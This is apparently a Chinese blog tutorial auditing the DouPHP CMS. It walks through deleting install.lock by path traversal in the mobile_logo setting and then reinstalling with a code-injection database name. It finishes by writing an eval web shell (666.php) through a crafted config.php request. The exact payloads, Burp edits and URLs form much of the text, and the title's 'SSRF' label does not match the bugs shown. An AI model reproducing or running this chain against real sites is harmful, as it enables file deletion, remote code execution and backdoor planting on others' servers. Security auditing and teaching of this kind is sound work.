ssrf漏洞代码审计之douphp解析(超详细)

1.进入douphp的安装界面

www.douphp.com/install/

ssrf漏洞代码审计之douphp解析(超详细)_第1张图片

由此可知安装界面已经被锁定了,但是由于install.lock是可控的,删除了install.lock后即可进行安装,所以我们现在的目的就是找到怎么去删除install.lock的方法。

要删除目标网站的任意文件,需要先寻找任意文件删除漏洞。所以我们需要找到能被我们控制的删除函数,删掉指定的文件。在php中,可以通过unlink函数来删除文件。用seay源代码审计系统全局搜索含有unlink函数的文件,

2.代码审计

(1)输入unlink( 进行全局搜索

ssrf漏洞代码审计之douphp解析(超详细)_第2张图片

(2)ID=1、2、3......挨个找可以删除的可控变量

ID=1

均为常量,不可控

ID=2

存在变量$sql_filename,且$sql_filename这个变量输出参数时要被is_backup_file处理,所以鼠标右键定位函数is_backup_file后进行查询

ssrf漏洞代码审计之douphp解析(超详细)_第3张图片

发现这个时个正则表达式,且后缀名要为.sql所以与我们要用的目标文件不符合

ID=3

ssrf漏洞代码审计之douphp解析(超详细)_第4张图片

这里需要的也是.sql后缀名的文件,与目标文件不符

以此类推

ID=6

ssrf漏洞代码审计之douphp解析(超详细)_第5张图片

$mobile_logo = $dou->get_one("SELECT value FROM " . $dou->table('config') . " WHERE name = 'mobile_logo'");

这行代码的意思是在字段中获取mobile_logo的值

table()表示给表名加个前缀

ssrf漏洞代码审计之douphp解析(超详细)_第6张图片

由这个路径可知mobile.php是在admin下面,所以需要登录后台

(3)登录后台找到admin/mobile.php

www.douphp.com/admin/mobile.php

ssrf漏洞代码审计之douphp解析(超详细)_第7张图片

(4)上传文件

ssrf漏洞代码审计之douphp解析(超详细)_第8张图片

在点击删除LOGO时可以查看到删除LOGO的连接为

www.douphp.com/admin/mobile.php?rec=system&act=clear_logo

ssrf漏洞代码审计之douphp解析(超详细)_第9张图片

(5)将ulink()函数写为exit()函数查看删除路径

 @ exit(ROOT_PATH . M_PATH . '/theme/' . $_CFG['mobile_theme'] . '/images/' . $mobile_logo);

ssrf漏洞代码审计之douphp解析(超详细)_第10张图片

exit()函数表示 — 输出一个消息并且退出当前脚本

这里输出的消息就是文件路径

点击删除LOGO后会出现

ssrf漏洞代码审计之douphp解析(超详细)_第11张图片

这里便查出文件路径为

D:/phpstudy_pro/WWW/douphp-master/douphp/m/theme/default/images/logo.png

由于我们需要删除的目录在/data/install.lock,所以需要一级一级的进行跳转,比如使用

$a=”../” //这里的$a就表示返回上级目录

我们需要将/m/theme/default/images/logo.png变为/data/install.lock

该值是从数据库中读取的,那么就需要设法将数据库中,mobile_logo字段的值改为

D:/phpstudy_pro/WWW/douphp-master/douphp/data/install.lock

所以现在的问题变成了怎么将mobile_logo字段的值改为D:/phpstudy_pro/WWW

/douphp-master/douphp/data/install.lock

(6)继续分析源代码

这里代码的意思就相当于:

update config set value=$value where name=$name;

在变量name=$name时将config里面的value值更新为$value

这里目标就是将$value替换成D:/phpstudy_pro/WWW/douphp-master/douphp/data

/install.lock

将$name替换成mobile_logo

ssrf漏洞代码审计之douphp解析(超详细)_第12张图片

这里的foreach ($_POST as $name => $value)

Foreach表示遍历数组

$name表示键

$value表示值

(6)查看更新源代码

ssrf漏洞代码审计之douphp解析(超详细)_第13张图片

由此可知当满足$act=’updata’ 时即可执行foreach ($_POST as $name => $value)

ssrf漏洞代码审计之douphp解析(超详细)_第14张图片

 因此现在的问题是如何在$act=’updata’ 时绕过if()代码从而执行foreach代码

(7)用burp抓包

ssrf漏洞代码审计之douphp解析(超详细)_第15张图片

点击提交

ssrf漏洞代码审计之douphp解析(超详细)_第16张图片

ssrf漏洞代码审计之douphp解析(超详细)_第17张图片

这里name="mobile_description"表示键

DouPHP,DouPHP触屏版表示值

把name="mobile_description"改为name="mobile_logo"

DouPHP,DouPHP改为../../../../data/install.lock

ssrf漏洞代码审计之douphp解析(超详细)_第18张图片

放包

ssrf漏洞代码审计之douphp解析(超详细)_第19张图片

点击删除logo触发提交的事件后

ssrf漏洞代码审计之douphp解析(超详细)_第20张图片

出现这个表示删除成功

点击下一步在数据库名这里输入

${file_put_contents($_GET[1],$_GET[2])}

ssrf漏洞代码审计之douphp解析(超详细)_第21张图片

点击安装

ssrf漏洞代码审计之douphp解析(超详细)_第22张图片

表示写入成功

执行代码

http://www.douphp.com/data/config.php?1=666.php&2=%20%3C?php%20eval($_REQUEST[8])%20?%3E

则会创建一个666.php的php文件

ssrf漏洞代码审计之douphp解析(超详细)_第23张图片

里面的内容为

 

ssrf漏洞代码审计之douphp解析(超详细)_第24张图片

输入http://www.douphp.com/data/666.php?8=phpinfo();

ssrf漏洞代码审计之douphp解析(超详细)_第25张图片

显示出这个页面时则执行成功

你可能感兴趣的:(网络安全,可用性测试)